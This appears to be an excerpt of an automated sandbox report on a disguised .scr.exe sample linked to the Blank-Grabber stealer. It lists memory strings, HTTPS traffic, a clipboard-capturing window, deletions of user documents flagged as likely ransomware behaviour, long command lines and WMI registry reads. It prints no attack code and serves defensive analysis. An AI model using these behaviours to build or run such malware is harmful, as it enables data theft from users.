Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2053300423.0000028C876DF000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328428391.0000028C87830000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2057343585.0000028C876DA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2057514542.0000028C876DF000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2053108442.0000028C876DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://peps.python.org/pep-0205/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2337720885.00007FF8A8C63000.00000040.00000001.01000000.00000005.sdmp String found in binary or memory: https://peps.python.org/pep-0263/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142394974.0000028C877C9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142899018.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2136068563.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154822441.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2321848291.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2115215405.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C97000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2162960886.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefox
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327717608.0000028C87630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327784022.0000028C876A3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2325587092.0000028C876A3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163201271.0000028C877C9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C8737A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2322889946.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154159134.0000028C877C5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2130602364.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2323195620.0000028C877D3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142394974.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324867751.0000028C877D6000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328156314.0000028C877D9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2082475372.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163456438.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139193812.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330698605.0000028C88140000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C87F90000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88248000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88220000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2135317494.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123650876.0000028C8873A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2103806631.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.oL
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142394974.0000028C877C9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2152989212.0000028C8874D000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88284000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142899018.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C8800C000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88270000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2136068563.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C97000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2115215405.0000028C87D18000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87B77000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87B74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C97000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2093617683.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C97000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2135142986.0000028C8878F000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2151303620.0000028C8878F000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139599127.0000028C8878F000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2103806631.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C97000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2135317494.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123650876.0000028C8873A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2103806631.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/mediZ
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2135317494.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123650876.0000028C8873A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2103806631.0000028C8873B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/favi
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2092773459.0000028C8873A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/favicons/m
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2092773459.0000028C8873A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87C74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142899018.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2325587092.0000028C876A3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2136068563.0000028C87C73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2111304815.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2123517500.0000028C87C2E000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2143671721.0000028C87C2A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87BFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88278000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2332092681.0000028C88A42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88248000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340140316.00007FF8A9398000.00000004.00000001.01000000.00000011.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2336517828.00007FF8A86A9000.00000004.00000001.01000000.00000010.sdmp String found in binary or memory: https://www.openssl.org/H
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327145319.0000028C871D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2337720885.00007FF8A8D69000.00000040.00000001.01000000.00000005.sdmp String found in binary or memory: https://www.python.org/psf/license/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2337720885.00007FF8A8C63000.00000040.00000001.01000000.00000005.sdmp String found in binary or memory: https://www.python.org/psf/license/)
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88248000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328156314.0000028C877E5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163201271.0000028C877C9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2322889946.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154159134.0000028C877C5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2130602364.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2323195620.0000028C877D3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142394974.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324867751.0000028C877E1000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2326282443.0000028C877E4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324867751.0000028C877D6000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328156314.0000028C877D9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2082475372.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163456438.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139193812.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com/
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57967
Source: unknown Network traffic detected: HTTP traffic on port 57967 -> 443
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands
barindex
Modifies existing user documents (likely ransomware behavior)
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File deleted: C:\Users\user\AppData\Local\Temp\??? \Common Files\Desktop\PALRGUCVEH.docx Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File deleted: C:\Users\user\AppData\Local\Temp\??? \Common Files\Desktop\PALRGUCVEH.docx Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File deleted: C:\Users\user\AppData\Local\Temp\??? \Common Files\Desktop\EIVQSAOTAQ.pdf Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File deleted: C:\Users\user\AppData\Local\Temp\??? \Common Files\Desktop\GIGIYTFFYT.jpg Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File deleted: C:\Users\user\AppData\Local\Temp\??? \Common Files\Desktop\PALRGUCVEH.xlsx Jump to behavior
Too many similar processes found
Source: cmd.exe Process created: 53

System Summary
barindex
Very long command line found
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Process created: Commandline size = 3647 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Writes or reads registry keys via WMI
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
